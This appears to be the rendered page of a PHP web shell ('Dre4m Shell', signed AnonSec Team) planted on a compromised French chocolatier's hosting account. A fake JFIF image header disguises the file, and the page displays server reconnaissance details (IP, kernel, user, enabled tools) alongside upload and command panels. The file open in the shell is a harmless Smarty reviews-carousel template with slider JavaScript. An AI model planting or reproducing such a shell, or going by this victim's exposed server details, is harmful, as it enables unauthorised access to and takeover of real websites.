ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/lachocolateriedevirginie.fr/business/business/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/lachocolateriedevirginie.fr/business/business/Avis_g_bottom-111.tpl
<style>
..review-card {
  flex: 0 0 calc(30% - 20px);
  width: calc(30% - 20px);
  margin-right: 20px;
  box-sizing: border-box;
font-size: 14px;
text-align: left;
line-height: 1.9;
}

@media (max-width: 1100px) {
  .review-card {
    flex: 0 0 calc(46% - 20px);
    width: calc(46% - 20px);
  }
}

@media (max-width: 767px) {
  .review-card {
    flex: 0 0 calc(85% - 20px);
    width: calc(85% - 20px);
  }
}
</style>

<div class="reviews-wrap">
<div class="container">

  <div class="reviews-head" style="position:relative;">
    <div class="reviews-head-left">
      <h2 style="position:absolute; left:50%; transform:translateX(-50%); margin:0;">
        Témoignages de nos clients
      </h2>
      <div class="reviews-logo">
        <img width="130" src="gga.png"> 
      </div>
    </div>
    <div class="reviews-note">Note : {$moyenne_g}/5</div>
  </div>

  <div class="reviews-slider-wrap" style="overflow:hidden; width:100%;">
    <div class="reviews-slider" id="reviews-slider" style="display:flex; flex-wrap:nowrap; transition: transform 0.4s ease; will-change:transform;">
      {foreach from=$avis_g item=item}
        <article class="review-card">
          <div class="review-top">
            <div class="review-avatar">{$item.initial|escape}</div>
            <div>
              <div class="review-name">{$item.nom|escape}</div>
              <div class="review-stars">
                {section name=s start=0 loop=$item.note}★{/section}
              </div>
            </div>
            <div class="review-badge">Google</div>
          </div>
          <p class="review-text">{$item.texte nofilter}</p>
          <div class="review-date">{$item.date_relative}</div>
        </article>
      {/foreach}
    </div>
  </div>

  <div class="reviews-dots" id="reviews-dots"></div>

  <div class="reviews-nav">
    <button type="button" id="reviews-prev" aria-label="Avis précédents">‹</button>
    <button type="button" id="reviews-next" aria-label="Avis suivants">›</button>
  </div>

</div>
</div>

{literal}
<script>
(function(){
  var slider = document.getElementById('reviews-slider');
  if (!slider) return;

  var dotsWrap = document.getElementById('reviews-dots');
  var prevBtn  = document.getElementById('reviews-prev');
  var nextBtn  = document.getElementById('reviews-next');
  var index    = 0;

  /* ---- nombre de cartes visibles selon la largeur ---- */
  function perView(){
    var w = window.innerWidth;
    if (w < 768)  return 1;
    if (w < 1100) return 2;
    return 3;
  }

  /* ---- largeur réelle d'une carte + sa marge ---- */
  function cardFullWidth(){
    var c = slider.children[0];
    if (!c) return 0;
    var mr = parseFloat(window.getComputedStyle(c).marginRight) || 0;
    return c.offsetWidth + mr;
  }

  function totalCards(){
    return slider.children.length;
  }

  /* ---- points de navigation ---- */
  function buildDots(){
    if (!dotsWrap) return;
    dotsWrap.innerHTML = '';
    var pages = Math.ceil(totalCards() / perView());
    for (var i = 0; i < pages; i++){
      var b = document.createElement('button');
      b.setAttribute('aria-label', 'Page ' + (i + 1));
      (function(page){
        b.addEventListener('click', function(){ index = page; update(); });
      })(i);
      dotsWrap.appendChild(b);
    }
  }

  /* ---- déplacement du slider ---- */
  function update(){
    var pv    = perView();
    var pages = Math.ceil(totalCards() / pv);

    if (index < 0)       index = pages - 1;
    if (index > pages-1) index = 0;

    var offset = -(index * cardFullWidth());
    slider.style.transform = 'translateX(' + offset + 'px)';

    if (dotsWrap){
      Array.prototype.forEach.call(dotsWrap.querySelectorAll('button'), function(btn, i){
        btn.classList.toggle('is-active', i === index);
      });
    }
  }

  /* ---- swipe tactile mobile ---- */
  var touchStartX = 0;
  var touchEndX   = 0;

  slider.addEventListener('touchstart', function(e){
    touchStartX = e.changedTouches[0].screenX;
  }, { passive: true });

  slider.addEventListener('touchend', function(e){
    touchEndX = e.changedTouches[0].screenX;
    var diff = touchStartX - touchEndX;
    if (Math.abs(diff) > 40){
      if (diff > 0) { index++; } else { index--; }
      update();
    }
  }, { passive: true });

  /* ---- boutons ---- */
  if (prevBtn) prevBtn.addEventListener('click', function(){ index--; update(); });
  if (nextBtn) nextBtn.addEventListener('click', function(){ index++; update(); });

  window.addEventListener('resize', function(){
    index = 0;
    buildDots();
    update();
  });

  buildDots();
  update();

})();
</script>
{/literal}

Anon7 - 2022
AnonSec Team